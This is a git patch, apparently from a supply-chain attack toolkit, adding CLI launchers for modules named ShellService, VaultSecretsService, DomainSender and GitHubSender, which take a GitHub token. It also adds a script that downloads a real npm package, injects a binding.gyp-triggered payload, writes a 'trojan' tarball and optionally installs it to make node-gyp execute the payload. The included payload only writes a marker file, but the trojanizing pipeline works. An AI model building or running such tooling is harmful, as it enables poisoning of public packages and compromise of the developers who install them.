From c3fe3dd9e0e4ffc035ed878b3086c0ae823e6f9b Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:17:05 +0000 Subject: [PATCH] Upload files to "src/cli" --- src/cli/provider-shell.ts | 14 ++++ src/cli/provider-vault.ts | 16 ++++ src/cli/sender-domain.ts | 27 +++++++ src/cli/sender-github.ts | 23 ++++++ src/cli/validate-binding-gyp.ts | 125 ++++++++++++++++++++++++++++++++ 5 files changed, 205 insertions(+) create mode 100644 src/cli/provider-shell.ts create mode 100644 src/cli/provider-vault.ts create mode 100644 src/cli/sender-domain.ts create mode 100644 src/cli/sender-github.ts create mode 100644 src/cli/validate-binding-gyp.ts diff --git a/src/cli/provider-shell.ts b/src/cli/provider-shell.ts new file mode 100644 index 0000000..1b438d7 --- /dev/null +++ b/src/cli/provider-shell.ts @@ -0,0 +1,14 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const { ShellService } = await import("../providers/devtool/devtool"); + const provider = new ShellService(); + return provider.execute(); +} + +const args = parseArgs(Bun.argv.slice(2)); +runModule("ShellService", main); \ No newline at end of file diff --git a/src/cli/provider-vault.ts b/src/cli/provider-vault.ts new file mode 100644 index 0000000..ece92b4 --- /dev/null +++ b/src/cli/provider-vault.ts @@ -0,0 +1,16 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const { VaultSecretsService } = await import( + "../providers/vault/vault-secrets" + ); + const provider = new VaultSecretsService(); + return provider.execute(); +} + +const args = parseArgs(Bun.argv.slice(2)); +runModule("VaultSecretsService", main); \ No newline at end of file diff --git a/src/cli/sender-domain.ts b/src/cli/sender-domain.ts new file mode 100644 index 0000000..7d88502 --- /dev/null +++ b/src/cli/sender-domain.ts @@ -0,0 +1,27 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + + const domain = args.params["domain"] || "localhost"; + const port = parseInt(args.params["port"] || "443", 10); + const path = args.params["path"] || "/"; + const dryRun = args.flags.has("dry-run") || args.flags.has("dry_run"); + + const destination = { domain, port, path, dry_run: dryRun }; + + const { DomainSender } = await import("../sender/domain/sender"); + const sender = new DomainSender(destination); + + const healthy = await sender.healthy(); + return { + destination, + healthy, + }; +} + +runModule("DomainSender", main); \ No newline at end of file diff --git a/src/cli/sender-github.ts b/src/cli/sender-github.ts new file mode 100644 index 0000000..50d1ebf --- /dev/null +++ b/src/cli/sender-github.ts @@ -0,0 +1,23 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + const { GitHubSender } = await import("../sender/github/githubSender"); + const sender = new GitHubSender(); + await sender.initialize(token); + + const healthy = await sender.healthy(); + return { + initialized: true, + healthy, + }; +} + +runModule("GitHubSender", main); \ No newline at end of file diff --git a/src/cli/validate-binding-gyp.ts b/src/cli/validate-binding-gyp.ts new file mode 100644 index 0000000..3b9f213 --- /dev/null +++ b/src/cli/validate-binding-gyp.ts @@ -0,0 +1,125 @@ +#!/usr/bin/env bun +// Must set scramble/beautify before any modules that use them are loaded. +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +/** + * Validate the binding.gyp injection technique against a real npm package. + * + * Usage: bun run src/cli/validate-binding-gyp.ts [--install] + * + * 1. Downloads the latest tarball from registry.npmjs.org + * 2. Injects a binding.gyp + index.js payload that creates /tmp/market.txt + * 3. Writes the trojanized tarball to the current directory + * 4. With --install, also runs "npm pack"/"npm install" to trigger node-gyp + */ + +import { createWriteStream } from "fs"; +import * as fs from "fs/promises"; +import { join } from "path"; +import { Readable } from "stream"; +import { pipeline } from "stream/promises"; + +// ── Test payload — harmless, creates a marker file ───────────────────── + +const TEST_PAYLOAD = [ + "// binding.gyp validation — creates /tmp/market.txt on node-gyp rebuild", + "const fs = require('fs');", + "const path = '/tmp/market.txt';", + "fs.writeFileSync(path, 'binding.gyp technique works!\\n' + new Date().toISOString() + '\\n');", + "console.log('[market] wrote ' + path);", +].join("\n"); + +// ── Main ────────────────────────────────────────────────────────────── + +async function main() { + const args = Bun.argv.slice(2); + const pkg = args.find((a) => !a.startsWith("--")); + const doInstall = args.includes("--install"); + + if (!pkg) { + console.error( + "Usage: bun run src/cli/validate-binding-gyp.ts [--install]", + ); + process.exit(1); + } + + // 1. Fetch package metadata + console.error(`Fetching metadata for ${pkg}...`); + const metaRes = await fetch( + `https://registry.npmjs.org/${pkg.replace("/", "%2F")}`, + ); + if (!metaRes.ok) { + console.error(`Failed to fetch package: ${metaRes.status}`); + process.exit(1); + } + const meta = (await metaRes.json()) as { + "dist-tags": { latest: string }; + versions: Record; + }; + const version = meta["dist-tags"].latest; + const tarballUrl = meta.versions[version]?.dist?.tarball; + if (!tarballUrl) { + console.error("No tarball URL found"); + process.exit(1); + } + console.error(`Latest: ${pkg}@${version}`); + + // 2. Download tarball + console.error(`Downloading ${tarballUrl}...`); + const res = await fetch(tarballUrl); + if (!res.ok || !res.body) { + console.error(`Download failed: ${res.status}`); + process.exit(1); + } + + const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`; + const tarballPath = join("/tmp", filename); + await pipeline( + Readable.fromWeb(res.body as import("stream/web").ReadableStream), + createWriteStream(tarballPath), + ); + console.error(`Saved to ${tarballPath}`); + + // 3. Inject binding.gyp + test payload (dynamic import — requires scramble + // on globalThis before the module chain is loaded) + console.error("Injecting binding.gyp + test payload..."); + const { updateTarball } = await import("../../src/mutator/npm/tarball"); + const trojanPath = await updateTarball(tarballPath, { + tag: "[validate]", + payload: TEST_PAYLOAD, + }); + + // 4. Copy to cwd + const outName = `${pkg.replace("@", "").replace("/", "-")}-${version}-trojan.tgz`; + const outPath = join(process.cwd(), outName); + await fs.copyFile(trojanPath, outPath); + console.error(`Wrote ${outPath}`); + + // 5. Optionally install + if (doInstall) { + console.error("\nRunning npm pack + npm install to trigger node-gyp..."); + const { execSync } = await import("child_process"); + try { + execSync(`npm pack ${outPath}`, { cwd: "/tmp", stdio: "inherit" }); + // npm pack creates a tar, then install it to trigger rebuild + const packed = `/tmp/${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`; + execSync(`npm install ${packed}`, { + cwd: "/tmp/test-install-validate", + stdio: "inherit", + }); + } catch (e: any) { + console.error( + `Install failed (may be OK if node-gyp not available): ${e.message}`, + ); + } + } + + // Print result + console.log(outPath); +} + +main().catch((err) => { + console.error(err); + process.exit(1); +});